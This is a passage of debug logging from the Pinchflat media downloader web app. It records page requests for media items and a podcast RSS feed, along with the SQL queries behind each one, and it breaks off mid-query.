[debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577528", "source_id" => "45"} Pipelines: [:browser] 17:40:53.664 [debug] QUERY OK source="media_items" db=0.1ms idle=142.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577528] 17:40:53.664 [debug] QUERY OK source="tasks" db=0.1ms idle=142.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577528] 17:40:53.664 [debug] QUERY OK source="sources" db=0.1ms idle=142.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:40:53.664 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=142.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5248798] 17:40:53.665 [debug] QUERY OK source="settings" db=0.0ms idle=141.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:53.665 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:53.665 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:53.665 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:53.666 [info] Sent 200 in 2ms 17:40:54.186 [info] GET /sources/1/media/1577542/edit 17:40:54.186 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577542", "source_id" => "1"} Pipelines: [:browser] 17:40:54.187 [debug] QUERY OK source="media_items" db=0.2ms idle=522.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577542] 17:40:54.187 [debug] QUERY OK source="settings" db=0.0ms idle=522.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:54.187 [debug] QUERY OK source="settings" db=0.0ms idle=522.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:54.187 [debug] QUERY OK source="settings" db=0.0ms idle=522.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:54.188 [info] Sent 200 in 1ms 17:40:54.685 [info] GET /sources/1/media/1577541 17:40:54.685 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577541", "source_id" => "1"} Pipelines: [:browser] 17:40:54.685 [debug] QUERY OK source="media_items" db=0.1ms idle=498.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577541] 17:40:54.686 [debug] QUERY OK source="tasks" db=0.1ms idle=498.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577541] 17:40:54.686 [debug] QUERY OK source="sources" db=0.1ms idle=498.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:40:54.686 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=498.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5250263] 17:40:54.686 [debug] QUERY OK source="settings" db=0.0ms idle=389.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:54.686 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:54.687 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:54.687 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:54.688 [info] Sent 200 in 2ms 17:40:55.153 [info] GET /sources/1b5043dd-323a-4290-b9d6-fcb820d902a3/feed.xml 17:40:55.153 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "1b5043dd-323a-4290-b9d6-fcb820d902a3"} Pipelines: [:maybe_basic_auth] 17:40:55.153 [debug] QUERY OK source="sources" db=0.1ms idle=467.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["1b5043dd-323a-4290-b9d6-fcb820d902a3"] 17:40:55.165 [debug] QUERY OK source="media_items" db=11.2ms idle=467.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 17:40:55.186 [info] GET /sources/6/media/1577500 17:40:55.186 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577500", "source_id" => "6"} Pipelines: [:browser] 17:40:55.186 [debug] QUERY OK source="media_items" db=0.1ms idle=499.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577500] 17:40:55.187 [debug] QUERY OK source="tasks" db=0.1ms idle=499.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577500] 17:40:55.187 [debug] QUERY OK source="sources" db=0.2ms idle=499.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:40:55.187 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=33.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5243155] 17:40:55.187 [debug] QUERY OK source="settings" db=0.0ms idle=22.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:55.187 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:55.187 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:55.188 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:55.188 [info] Sent 200 in 2ms 17:40:55.217 [debug] QUERY OK source="source_metadata" db=0.0ms idle=30.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 17:40:55.217 [debug] QUERY OK source="media_metadata" db=0.0ms idle=30.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577908] 17:40:55.222 [info] Sent 200 in 68ms 17:40:55.780 [info] GET /sources/6/media/1577523 17:40:55.780 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577523", "source_id" => "6"} Pipelines: [:browser] 17:40:55.780 [debug] QUERY OK source="media_items" db=0.1ms idle=592.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577523] 17:40:55.781 [debug] QUERY OK source="tasks" db=0.0ms idle=592.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577523] 17:40:55.781 [debug] QUERY OK source="sources" db=0.1ms idle=563.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:40:55.781 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=563.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5247648] 17:40:55.781 [debug] QUERY OK source="settings" db=0.0ms idle=483.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:55.781 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:55.781 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:55.782 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:55.782 [info] Sent 200 in 2ms 17:40:56.189 [info] GET /sources/6/media/1577543 17:40:56.189 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577543", "source_id" => "6"} Pipelines: [:browser] 17:40:56.189 [debug] QUERY OK source="media_items" db=0.1ms idle=408.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577543] 17:40:56.190 [debug] QUERY OK source="tasks" db=0.1ms idle=408.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577543] 17:40:56.190 [debug] QUERY OK source="sources" db=0.1ms idle=408.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:40:56.190 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=408.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5251664] 17:40:56.190 [debug] QUERY OK source="settings" db=0.0ms idle=408.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:56.190 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:56.190 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:56.191 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:56.192 [info] Sent 200 in 2ms 17:40:56.689 [info] GET /sources/6/media/1577525 17:40:56.689 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577525", "source_id" => "6"} Pipelines: [:browser] 17:40:56.690 [debug] QUERY OK source="media_items" db=0.2ms idle=499.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577525] 17:40:56.690 [debug] QUERY OK source="tasks" db=0.1ms idle=499.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577525] 17:40:56.690 [debug] QUERY OK source="sources" db=0.1ms idle=499.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:40:56.690 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=499.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5247650] 17:40:56.691 [debug] QUERY OK source="settings" db=0.0ms idle=391.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:56.691 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:56.691 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:56.691 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:56.692 [info] Sent 200 in 2ms 17:40:57.190 [info] GET /sources/28/media/1573371 17:40:57.190 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1573371", "source_id" => "28"} Pipelines: [:browser] 17:40:57.190 [debug] QUERY OK source="media_items" db=0.2ms idle=499.7ms SELECT 